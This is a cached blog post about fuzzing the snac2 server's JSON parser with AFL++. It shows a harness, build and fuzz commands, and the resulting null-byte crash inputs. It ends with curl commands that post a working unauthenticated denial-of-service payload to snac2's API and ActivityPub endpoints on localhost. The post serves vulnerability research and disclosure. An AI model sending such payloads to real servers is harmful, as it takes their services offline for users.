Cached at:
07/20/26, 09:35 AM
# Fuzzing for fun - unauthenticated denial of service in snac2
Source: [https://nullenvk.pl/posts/02-snac2-json/](https://nullenvk.pl/posts/02-snac2-json/)
Instead of manually inspecting the source code further, I've decided to employ a technique known as**fuzzing**in order to find inputs that may crash the parser \(located in`xs\_json\.h`\)\. If you're not familiar with fuzzing, it's essentially a method for testing code by supplying it with randomly generated inputs\. In the most basic case, piping`/dev/urandom`to a program and waiting for it to crash is a very primitive form of fuzzing\.
However, for more complex programs, just piping`/dev/urandom`to a program is going to be very inefficient, and will most likely take a very long time to detect some more complex patterns leading to crashes\. Therefore, dedicated fuzzing programs such as**AFL\+\+**generate new inputs by using an**initial corpus**of valid inputs, which are continuously**mutated**through multiple strategies, employing a relatively complex**genetic algorithm**\. Moreover, by employing compile\-time**binary instrumentation**, a set of modified compilers can insert AFL\-specific instructions, that can inform the fuzzer on how many functions and code paths are reached with a given input\. Ultimately, this approach allows fuzzers to test as many available code paths as possible\. This approach is so powerful, that even with a very trivial input corpus, AFL\+\+ can start[pulling JPEGs out of thin air](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html)when fuzzing a complete JPEG parser\.
In snac2 project, I've decided to fuzz the`xs\_json\_load`function, which parses JSON data stored as a file \(the fact that internally snac2 treats all data streams as`FILE`pointers is pretty fascinating too\)\. In order to do that, I had to prepare a fuzzing**harness**\- a very simple program which exposes the tested function to the fuzzer\. In case of AFL\+\+, I just needed a simple C program which reads a file path from`argv\[1\]`, opens it, passes it to the parser, and then frees the result:
```
#include <stdio.h>
#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"
int main(int argc, char **argv) {
if(argc < 2) return 0;
FILE *f = fopen(argv[1], "r");
xs_val *root = xs_json_load(f);
if (root) {
xs_free(root);
}
fclose(f);
return 0;
}
```
In order to utilize AFL's binary instrumentation, I had to use a wrapped C compiler to create a binary\. Assuming that we're conducting our research in a subdirectory within snac2's source tree:
```
afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json
```
Afterwards, I've put a simple test case \(`\{"company": "a", "year": 2024\}`\) in the`input`directory and launched the fuzzer:
```
afl-fuzz -i input -o findings -- ./fuzz_xs_json @@
```
Within minutes, I've started seeing first crashes in`findings/default/crashes`directory, which I've managed to promptly confirm\. Among some of the simpler detected cases, there's this one:
```
[
"TSo\u0 So\uF So\uFcccccc
Ag {
```
After a few minutes of tinkering, I've simplified the above test case to a much cleaner form \(confirming that`\\u0000`is the reason behind the crash\):
```
["", "dummy\u0000..........................AAAAAA
```
Ultimately, in order to confirm that it's a real crash, and not just something involving my fuzzing harness, I've decided to test this payload on a real, locally hosted snac2 server, by sending this to a MastoAPI endpoint \(immediately crashing the server\):
```
curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```
After modifying the payload a bit, I've got the server to crash with standard ActivityPub endpoints as well:
```
curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'
```